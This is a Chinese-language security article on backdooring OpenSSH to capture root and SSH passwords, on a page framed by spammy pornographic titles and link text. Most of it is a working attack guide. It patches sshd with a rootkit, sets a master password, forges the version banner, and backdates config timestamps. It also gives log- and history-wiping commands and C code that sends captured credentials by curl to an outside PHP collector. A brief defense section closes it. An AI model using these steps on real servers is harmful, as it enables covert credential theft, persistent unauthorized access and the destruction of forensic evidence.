成人免费xxxxx在线视频软件_久久精品久久久_亚洲国产精品久久久_天天色天天色_亚洲人成一区_欧美一级欧美三级在线观看

OpenSSH后門獲取root密碼及防范研究

原創
安全 黑客攻防
相對于Windows操作系統,Linux操作系統的密碼較難獲取,而很多Linux服務器都配置了Openssh服務,在獲取root權限的情況下,可以通過修改或者更新OpenSSH代碼等方法,截取并保存其SSH登錄賬號密碼,甚至可以留一個隱形的后門,達到長期控制linux服務器的目的。

相對于Windows操作系統,Linux操作系統的密碼較難獲取。而很多Linux服務器都配置了Openssh服務,在獲取root權限的情況下,可以通過修改或者更新OpenSSH代碼等方法,截取并保存其SSH登錄賬號密碼,甚至可以留一個隱形的后門,達到長期控制linux服務器的目的。在很多Linux系統被入侵后都會在系統中留后門,使用OpenSSH留后門是入侵者的慣用方式之一,OpenSSh后門比較難于檢測,本文就如何添加OpenSSH后門以及防范后門添加進行探討。

1.1OpenSSH簡介

OpenSSH是SSH(Secure SHell)協議的免費開源實現,很多人誤認OpenSSH為與OpenSSL有關聯,但實際上這兩個計劃的有不同的目的,不同的發展團隊,名稱相近只是因為兩者有同樣的軟件發展目標──提供開放源代碼的加密通訊軟件。OpenSSH是OpenBSD的子計劃其官方網站地址為http://www.openssh.com/,OpenSSH各個版本可以到其官網下載,推薦一個下載地址:http://ftp5.eu.openbsd.org/ftp/pub/OpenBSD/OpenSSH/。SSH協議族可以用來進行遠程控制,或在計算機之間傳送文件。而實現此功能的傳統方式,如telnet(終端仿真協議)、rcp、ftp、rlogin、rsh都是極為不安全的,并且會使用明文傳送密碼。OpenSSH提供了服務端后臺程序和客戶端工具,用來加密遠程控件和文件傳輸過程中的數據,并由此來代替原來的類似服務。OpenSSH是使用SSH透過計算機網絡加密通訊的實現。它是取代由SSH Communications Security所提供的商用版本的開放源代碼方案。在OpenSSH服務中sshd是一個典型的獨立守護進程,OpenSSH服務可以通過/etc/ssh/sshd_config文件進行配置。OpenSSH 支持 SSH 協議的版本 1.3、1.5、和 2。自從 OpenSSH 的版本2.9以來,默認的協議是版本2。

1.2準備工作

(1)下載openssh-5.9p1.tar.gz參考下載地址:

http://down1.chinaunix.net/distfiles/openssh-5.9p1.tar.gz

(2)下載后門文件http://core.ipsecs.com/rootkit/patch-to-hack/0x06-openssh-5.9p1.patch.tar.gz

(3)Linux虛擬機Centos6.4版本

(4)查看SSH當前版本信息

SSH后門目前網上支持版本為5.9以下,因此如果顯示信息中的版本為5.9以下才能使用,如圖1所示,使用“ssh –V”命令獲取的OpenSSH版本為“OpenSSH_5.3p1, OpenSSL 1.0.0-fips 29 Mar 2010”。對高于5.9版本未做測試,理論上是可行的,因為在patch中可以直接修改banner。特別需要注意,這個版本號一定要記錄下來,在編譯時將該信息進行偽裝。

OpenSSH

圖1 查看SSH當前版本信息

(5)備份SSH原始配置文件

如圖2所示,將ssh_config和sshd_config分別備份為ssh_config.old和sshd_config.old。在Linux終端中分別執行文件備份命令:

mv /etc/ssh/ssh_config /etc/ssh/ssh_config.old
mv /etc/ssh/sshd_config /etc/ssh/sshd_config.old

OpenSSH后門獲取root密碼及其防范研究

圖2 備份SSH原始配置文件

(6)解壓ssh后門

將sshbd.tgz下載到本地并解壓到本地,如圖3所示,執行以下命令:

tar zxvf sshbd.tgz
cd openssh

OpenSSH后門獲取root密碼及其防范研究

圖3 下載并解壓ssh后門

使用官方openssh-5.9p1進行安裝后門的可以執行以下命令

tar zxf openssh-5.9p1.tar
tar zxf openssh-5.9p1.path.tar
cp openssh-5.9p1.patch/sshbd5.9p1.diff /openssh-5.9p1
cd openssh-5.9p1
patch < sshbd5.9p1.diff

1.3設置ssh后門的登錄密碼及其密碼記錄位置

在openssh目錄中找到includes.h,使用“vi includes.h”修改define _SECRET_PASSWD為自己的登錄密碼,如圖4所示,默認密碼記錄日志文件保存在/usr/local/share/0wn目錄下的slog和clog文件。例如定義密碼為“995430aaa”

define _SECRET_PASSWD " 995430aaa"

OpenSSH后門獲取root密碼及其防范研究

圖4 修改ssh登錄密碼

1.4安裝并編譯

1.進行編譯和安裝

./configure –prefix=/usr –sysconfdir=/etc/ssh
make && make install

openssh-5.9p1需要用下面這個命令進行配置:

./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam --with-kerberos5

在編譯過程中可能會出現“configure: error: *** zlib.h missing – please install first or check config.log”錯誤,可以執行“yum install zlib-devel和yum install openssl openssl-devel”安裝后再次編譯即可。

2.重啟SSHD服務

執行“/etc/init.d/sshd restart”命令重啟sshd服務。

3.還原新配置文件為舊配置文件時間

執行以下命令,將ssh_config和sshd_config修改時間跟ssh_config.old和sshd_config.old一致。

touch -r  /etc/ssh/ssh_config.old /etc/ssh/ssh_config
touch -r  /etc/ssh/sshd_config.old /etc/ssh/sshd_config

mtime(modify time):最后一次修改文件或目錄的時間

ctime(chang time) :最后一次改變文件或目錄(改變的是原數據即:屬性)的時間

如:記錄該文件的inode節點被修改的時間。touch命令除了-d和-t選項外都會改變該時間。而且chmod,chown等命令也能改變該值。

atime(access time)::最后一次訪問文件或目錄的時間

ls -l file : 查看文件修改時間

ls -lc file: 查看文件狀態改動時間

ls -lu file: 查看文件訪問時間

stat file 文件時間三個屬性

1.5登入后門并查看記錄的密碼文件

使用“ssh -l root IP”命令登錄服務器,例如“ssh -l root 192.168.52.175”登錄,可以使用root的密碼,也可以使用后門設置的密碼“995430aaa”進行登錄。然后到/usr/local/share/0wn目錄查看其記錄的密碼日志文件clog和slog,如圖5所示,可以看到ssh登錄和本地root帳號登錄的密碼。

圖5 查看密碼記錄

在實際測試過程還需要清除apache日志,以下可供參考的日志清除命令:

  1. export HISTFILE=/dev/null 
  2. export HISTSIZE=0 
  3. cd /etc/httpd/logs/ 
  4. sed -i ‘/192.168.52.175/d’ access_log* 
  5. echo >/root/.bash_history //清空操作日志 

1.6拓展密碼記錄方式

前面記錄的密碼只能在linux服務器上面看,也就是說用戶必須要讀取文件的權限,如果某一天權限沒有了,則無法登陸服務器了;最好的方法就是記錄的用戶、密碼和端口可以通過郵件或者http直接發送到接收端,跟黑產收信比較類似。下面是具體實現方法:

(1)接收端ssh.php代碼

  1. <?php 
  2. $username = $_POST['username']; 
  3. $password = $_POST['password']; 
  4. $host = $_POST['host']; 
  5. $port = $_POST['port']; 
  6. $time=date('Y-m-d H:i:s',time()); 
  7.  if(isset($username) != "" || isset($password) !="" || isset($host) != ""
  8.         $fp = fopen("sshlog.txt","a+"); 
  9.         $result = "sername:.$username--->:Password:$password----->:Host:$host----->:port:$port----->:time:$time"
  10.         fwrite($fp,$result); 
  11.         fwrite($fp,"\r\n"); 
  12.         fclose($fp); 
  13. ?> 

(2)修改auth-passwd.c文件內容

  1. int 
  2. userauth_passwd(Authctxt *authctxt) 
  3.     static int attempt = 0; 
  4.     char prompt[150]; 
  5.     char *password; 
  6.     char *pass[200]; 
  7.     char szres[1024] = {0}; 
  8.     FILE *f; 
  9.     char *findport() 
  10.     { 
  11.         FILE *FTopen; 
  12.         char tempBuf[1024] = {0}; 
  13.         char *Filename = "/etc/ssh/sshd_config"
  14.         char *Filetext = "Port"
  15.         if((FTopen = fopen(Filename, "r")) == NULL) { return Filetext; } 
  16.         while(fgets(tempBuf, 1024, FTopen) != NULL) {  
  17.                 if(strstr(tempBuf, Filetext)) { Filetext = tempBuf; break; } 
  18.                 memset(tempBuf, 0, 1024); 
  19.         } 
  20.         fclose(FTopen); 
  21.         return Filetext; 
  22.     } 
  23.  
  24.  
  25.     const char *host = options.host_key_alias ?  options.host_key_alias : 
  26.         authctxt->host; 
  27.  
  28.     if (attempt++ >= options.number_of_password_prompts) 
  29.         return 0; 
  30.  
  31.     if (attempt != 1) 
  32.         error("Permission denied, please try again."); 
  33.  
  34.     snprintf(prompt, sizeof(prompt), "%.30s@%.128s's password: "
  35.         authctxt->server_user, host); 
  36.     password = read_passphrase(prompt, 0); 
  37.     strcpy(pass,password);//截取的密碼的時候把它復制到自定義的地方去。方便調用 
  38.     packet_start(SSH2_MSG_USERAUTH_REQUEST); 
  39.     packet_put_cstring(authctxt->server_user); 
  40.     packet_put_cstring(authctxt->service); 
  41.     packet_put_cstring(authctxt->method->name); 
  42.     packet_put_char(0); 
  43.     packet_put_cstring(password); 
  44.     memset(password, 0, strlen(password)); 
  45.     xfree(password); 
  46.     packet_add_padding(64); 
  47.     packet_send(); 
  48.  
  49.     dispatch_set(SSH2_MSG_USERAUTH_PASSWD_CHANGEREQ, 
  50. &input_userauth_passwd_changereq); 
  51.  
  52.     if((f=fopen("/tmp/olog","a+"))!=NULL){  
  53.         fprintf(f,"username:%s-->password:%s-->host:%s-->port:%s\n",authctxt->server_user,pass,authctxt->host,findport()); 
  54.         fclose(f);}   
  55.  
  56.     memset(szres,0,sizeof(szres)); 
  57.     snprintf(szres,sizeof(szres),"/usr/bin/curl -s -d \"username=%s&password=%s&host=%s&port=%s\" http://www.antian365.com/ssh.php >/dev/null",authctxt->server_user,pass,authctxt->host,findport()); 
  58.     system(szres);   
  59.         return 1; 

重新編譯之,執行后將自動將密碼發送到服務器。但本人在實際測試效果并沒有達到作者所說的,相關信息請訪問http://0cx.cc/ssh_get_password.jspx查看并驗證。

1.7OpenSSH后門防范方法

(1)重裝openssh軟件,更新至最新版本7.2

(2)更換ssh默認登錄端口22為其它端口。

(3)在iptable中添加ssh訪問策略。

(4)查看命令歷史記錄,對可疑文件進行清理,在有條件的情況下,可重做系統。

(5)修改服務器所有密碼為新的強健密碼。

(6)利用strace找出ssh后門,首先利用命令“ps aux | grep sshd”獲取可疑進程PID,使用“strace -o aa -ff -p PID”進行跟蹤,然后登錄ssh,成功登錄之后,在當前目錄,生成了strace的輸出。使用“grep open aa* | grep -v -e No -e null -e denied| grep WR”命令查看記錄密碼打開文件。在上面命令中過濾掉錯誤信息和/dev/null信息,以及denied信息,并且找讀寫模式打開(WR)的,因為要把記錄的密碼寫入文件,肯定要是以寫方式打開的文件,可以可以找到以讀寫方式記錄在文件中的ssh后門密碼文件位置,通過該方法來判斷是否存在ssh后門。當然也有不記錄密碼,而僅僅留一個萬能ssh后門。

2.5.8OpenSSH利用總結

1.獲取linux版本及其信息

cat /etc/issue
uname -ar

2.獲取ssh版本信息并記錄

ssh -V >ssh.txt

3.下載openssh客戶端以及后門程序

wget http://down1.chinaunix.net/distfiles/openssh-5.9p1.tar.gz
wget http://core.ipsecs.com/rootkit/patch-to-hack/0x06-openssh-5.9p1.patch.tar.gz

注:網上還有一個現存版本sshd.tar.gz

4.ssh配置文件備份

mv /etc/ssh/ssh_config /etc/ssh/ssh_config.old
mv /etc/ssh/sshd_config /etc/ssh/sshd_config.old

5.安裝必備軟件

yum install -y openssl openssl-devel pam-devel zlib zlib-devel

6.解壓并patch

tar zxf openssh-5.9p1.tar.gz
tar zxf openssh-5.9p1.tar.gz
cp openssh-5.9p1.patch/sshbd5.9p1.diff  /openssh-5.9p1
cd openssh-5.9p1
patch < sshbd5.9p1.diff

7.修改文件includes.h 文件記錄用戶名和密碼的文件位置及其密碼

#define ILOG "/tmp/ilog" //記錄登錄到本機的用戶名和密碼
 #define OLOG "/tmp/olog" //記錄本機登錄到遠程的用戶名和密碼
 #define SECRETPW "123456654321" //你后門的密碼

8.修改version.h文件使其修改后的版本信息為原始版本

#define SSH_VERSION "填入之前記下來的版本號,偽裝原版本"
#define SSH_PORTABLE "小版本號"

9.安裝并編譯

./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam --with-kerberos5
make clean
make && make install
service sshd restart 

10.恢復新配置文件的日期跟舊文件日期一致

對ssh_config和sshd_config新舊文件進行內容對比,使其配置文件一致,然后在修改文件日期。

touch -r  /etc/ssh/ssh_config.old /etc/ssh/ssh_config
touch -r  /etc/ssh/sshd_config.old /etc/ssh/sshd_config

11.清除操作日志

export HISTFILE=/dev/null
export HISTSIZE=0
cd /etc/httpd/logs/
sed -i ‘/192.168.52.175/d’ access_log*
echo >/root/.bash_history //清空操作日志

參考文章

1.如何使用Linux通用后門,http://www.freebuf.com/tools/10474.html

2. 關于openssh通用后門的拓展,http://0cx.cc/ssh_get_password.jspx

責任編輯:藍雨淚 來源: 51CTO.com
相關推薦

2010-07-21 15:56:04

2017-04-13 12:20:43

Mysqlroot密碼

2013-07-27 16:44:19

2010-09-13 15:26:34

2011-03-11 17:23:03

2018-06-09 08:44:25

2012-12-03 09:32:22

ARP

2010-01-30 11:23:59

2022-06-28 09:00:00

機器學習人工智能安全

2011-03-04 17:35:16

2013-06-26 15:42:54

2013-06-22 17:13:38

2023-09-08 08:00:00

人工智能

2010-09-13 14:34:55

2010-02-02 17:38:17

2019-09-09 10:25:54

MySQLMariaDB roo密碼

2023-06-27 08:30:48

2021-01-27 17:24:27

密碼root權限漏洞

2010-01-06 15:29:51

2009-07-13 11:47:58

點贊
收藏

51CTO技術棧公眾號

主站蜘蛛池模板: 国产高清视频在线观看 | 国产清纯白嫩初高生视频在线观看 | 天天干天天草 | 精品免费国产一区二区三区四区 | 国产亚洲欧美在线 | 国产精品一区二区三区在线 | 国产成人精品一区二 | 欧美激情国产日韩精品一区18 | 欧美日韩精品一区二区三区四区 | 精品久久久久久亚洲精品 | 一区二区视频在线观看 | 亚洲欧洲一区 | 99视频在线免费观看 | 欧美日韩在线免费 | 精品国产91久久久久久 | 正在播放亚洲 | 精品日韩一区二区 | 丝袜美腿一区二区三区 | 久久成人精品一区二区三区 | 看片国产 | 亚洲欧美日韩精品 | 欧美性受xxxx白人性爽 | 久久久久久国产免费视网址 | 国产 欧美 日韩 一区 | 成人精品毛片国产亚洲av十九禁 | 色综合激情 | 在线国产一区 | 日韩精品极品视频在线观看免费 | 人人亚洲| 视频一区二区三区中文字幕 | 国产一区91在线 | 国产精品久久国产精品久久 | 91精品国产一区二区三区香蕉 | 精品亚洲一区二区三区四区五区 | 国产三级日本三级 | 亚洲三区在线观看 | 国产ts人妖一区二区三区 | 亚洲区中文字幕 | 黄色一级片视频 | 91一区二区 | 奇米在线|